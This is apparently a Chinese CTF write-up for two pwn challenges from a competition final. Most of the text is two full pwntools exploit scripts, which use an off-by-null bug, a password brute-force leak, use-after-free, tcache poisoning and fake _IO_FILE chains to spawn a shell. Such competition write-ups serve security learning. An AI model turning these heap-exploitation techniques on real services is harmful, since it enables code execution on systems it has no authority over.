很遗憾没能和一队一样去打国决,所以暑假里参加了长城杯。决赛的时候有一道零解的pwn题目,刚好最近想起来就做了下。
很明显的off by null,而且给的libc是2.27的,所以稍微调调就出来了。
#encoding: utf-8 #!/usr/bin/python from pwn import* import sys #context.log_level = "debug" context.arch="amd64" binary_name = "babypwn" libc_name = "libc.so.6" ld_name = "ld" local = 1 elf =ELF("./"+binary_name) libc = ELF("./"+libc_name) #ld = ELF("./"+ld_name) se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, b'\x00')) uu64 = lambda data :u64(data.ljust(8, b'\x00')) info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr)) ia = lambda :io.interactive() if local==0: io = remote("101.200.211.26",34088) else: io = process("./"+binary_name) def debug(): gdb.attach(io,''' b exit ''') pause() def add(size,value): sla(">>","a") sla("length:",str(size)) sla("input:",value) def edit(index,value): sla(">>","e") sla("index:",str(index)) sla("input:",value) def show(index): sla(">>","s") sla("index:",str(index)) def free(index): sla(">>","d") sla("index:",str(index)) for i in range(6): add(0x1a0,"xxx") for i in range(6): free(i) for i in range(2): add(0x1a0,"yyy") #1 free(0) add(0x210,"xxx")#0 add(0xa0,"this") #2 add(0x1f0,"this")#3 for i in range(3): for i in range(2): add(0x1f0,"xxx") for i in range(2): free(i+4) add(0x1f0,"xxx") free(4) for i in range(3): for i in range(2): add(0xa0,"yyy") for i in range(2): free(i+4) add(0x4b0,"xxx") add(0xa0,"yyy") free(5) free(1) free(2) add(0xa8,"yyy")#1 add(0xa0,"xxx")#2 payload = "\x00"*0xa0+p64(0x100+0x220+0xb0) edit(1,payload) free(3) add(0xf0,"yyy") show(0) ru("content:") libcbase = uu64(io.recv(6)) - 4111520 stderr_chain = libcbase + 4114152 info("libcbase",libcbase) system_addr=libcbase+libc.sym['system'] payload = p64(libcbase+4112576)*2+p64(4114016+libcbase-0x20)*2 add(0x500,"xxx") edit(0,"a"*0xf) show(0) ru("a"*0xf+"\n") heap_addr = uu64(io.recv(6)) info("heap_addr",heap_addr) edit(0,payload) one = [0x4f2a5,0x4f302,0x10a2fc] fake_IO_FILE = p64(0)*4 fake_IO_FILE +="/bin/sh\x00"*2 fake_IO_FILE +=p64(1)+p64(0) fake_IO_FILE +=p64(heap_addr+5872)#rdx fake_IO_FILE +=p64(system_addr)#call addr fake_IO_FILE +=p64(0xffffffffffffffff) fake_IO_FILE = fake_IO_FILE.ljust(0x38, '\x00') fake_IO_FILE += p64(0 ) # _chain fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00') fake_IO_FILE += p64(libcbase+4118704) # _lock = writable address fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00') fake_IO_FILE +=p64(heap_addr+5928)+p64(heap_addr+5872+0x30) #rax1 fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00') fake_IO_FILE += p64(0) # _mode = 0 fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00') fake_IO_FILE += p64(libcbase+4095376) # vtable=IO_wfile_jumps+0x10 fake_IO_FILE +=p64(0)*6 fake_IO_FILE += p64(heap_addr+48) # rax2 edit(4,fake_IO_FILE) free(4) add(0x500,"xxx") debug() sl("q") ia()
这道题目的漏洞难找
漏洞是很明确的,给了一个uaf后门,前提是登录Sweetheart的账号
而Sweetheart的密码是随机的,种子也无法猜出来。
看似无懈可击,以至于让我一直以为有别的漏洞。
让我们看向check函数这里
i变量在v2后面,而v2是我们要输入的密码,如果长度为0x40个且密码错误则会将第几个错误的位数也打印出来。至此,我们可以用爆破的方法将Sweetheart的密码给搞出来,然后利用后门uaf。
def exploit(index,num,pwd=''): password =pwd # print(len(password)) tmp = '' for i in range(len(password)+1,num+1): for j in range(15,0xff+1): tmp = password tmp += p8(j) tmp = tmp.ljust(64,"b") # print(tmp) login(index,tmp) s = io.recvline() if s == 'Login success!\n': return password if i==10: if(ord(s[-2])!=9): password +=p8(j) break if i == ord(s[-2]): password +=p8(j) break return password[0:num+1]
给的libc是2.35,且申请的为大堆块,选个合适的io链攻击就行。
#encoding: utf-8 #!/usr/bin/python from pwn import* import sys # context.log_level = "debug" context.arch="amd64" binary_name = "pwn" libc_name = "libc.so.6" ld_name = "ld" local = 1 elf =ELF("./"+binary_name) libc = ELF("./"+libc_name) #ld = ELF("./"+ld_name) se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, b'\x00')) uu64 = lambda data :u64(data.ljust(8, b'\x00')) info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr)) ia = lambda :io.interactive() if local==0: io = remote() else: io = process("./"+binary_name) def debug(): gdb.attach(io,''' ''') pause() def add(index,size,length,passwd): sla(b">> ",b"1") sla(b"index: ",str(index)) sla(b"size: ",str(size)) sla(b"len: ",str(length)) sla(b"password: ",passwd) def edit(index,length,passwd): sla(b">> ",b"4") sla(b"index: ",str(index)) sla(b"len: ",str(length)) sla(b"password: ",passwd) def login(index,passwd): sla(b">> ",b"2") sla(b"index: ",str(index)) sa(b"password: ",passwd) def free(index,passwd): login(index,passwd) sla(b">> ",b"3") sla(b"index: ",str(index)) def exploit(index,num,pwd=''): password =pwd # print(len(password)) tmp = '' for i in range(len(password)+1,num+1): for j in range(15,0xff+1): tmp = password tmp += p8(j) tmp = tmp.ljust(64,"b") # print(tmp) login(index,tmp) s = io.recvline() if s == 'Login success!\n': return password if i==10: if(ord(s[-2])!=9): password +=p8(j) break if i == ord(s[-2]): password +=p8(j) break return password[0:num+1] passwd="" add(1,0x440,0x40,b"a"*0x40) add(2,0x440,0x40,b'a'*0x40) add(3,0x430,0x40,b'a'*0x40) login(1,b'a'*0x40) passwd = exploit(0,64) sla("index: ","1") add(4,0x450,0x40,b'a'*0x40) libcbase=uu64(exploit(1,8,p8(0xe0))) - 2203872 # libcbase = 0x7ffff7d93000 info("libcbase",libcbase) list_all_adr = libcbase + 2205312 mp_addr = libcbase + 2200520 info("list_all",list_all_adr) edit(1,0x40,p64(0)*3+p64(mp_addr-0x20)) free(3,b'a'*0x40) add(5,0x450,0x40,b'a'*0x40) heap_addr = uu64(exploit(1,8,p8(0x60))) # heap_addr = 0x55555555ef60 info("heap_addr",heap_addr) add(3,0x430,0x40,b'a'*0x40) login(1,p64(libcbase+2203872)+p64(0)*2+p64(mp_addr-0x20)+p64(0)*4) edit(1,0x40,p64(libcbase+2203872)*2+p64(heap_addr-2208)*2) IO_stdout_addr = libcbase +2205568 _IO_2_1_stderr_addr = libcbase + 2205344 info("IO_stdout_addr",IO_stdout_addr) info("_IO_2_1_stderr_addr",_IO_2_1_stderr_addr) add(6,0x440,0x40,b"a"*0x40) add(7,0x440,0x40,b"a"*0x40) add(8,0x440,0x40,b"a"*0x40) login(1,'a'*0x40) free(8,'a'*0x40) free(7,'a'*0x40) free(2,'a'*0x40) free(6,'a'*0x40) one=[0x50a37,0xebcf1,0xebcf5,0xebcf8] _IO_wfile_overflow = libcbase + 549904 edit(1,0x40,p64((heap_addr>>12)^(_IO_2_1_stderr_addr+0xa0))) add(2,0x440,0x40,b'a'*0x40) login(1,'a'*0x40) payload = p64(heap_addr+0x10-0xe0)+p64(0)*3+p64(0xffffffff)+p64(0)*2+p64(libcbase+2187424) add(6,0x440,0x40,payload) free(2,'a'*0x40) edit(1,0x40,p64((heap_addr>>12)^(heap_addr+5536))) add(2,0x440,0x40,b'a'*0x40) login(1,'a'*0x40) login(3,'a'*0x40) edit(3,0x40,p64(heap_addr+0x10-0x60)+p64(libcbase+libc.sym["system"])) add(7,0x440,0x40,p64(0)+p64(0x80)) free(2,'a'*0x40) edit(1,0x40,p64((heap_addr>>12)^(_IO_2_1_stderr_addr))) add(2,0x440,0x40,b'a'*0x40) add(8,0x440,0x40," sh") sla(b">> ",b"1") sla(b"index: ","9") sla(b"size: ",str(0x500)) ia()
[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~
最后于 8小时前 被chenepe编辑 ,原因: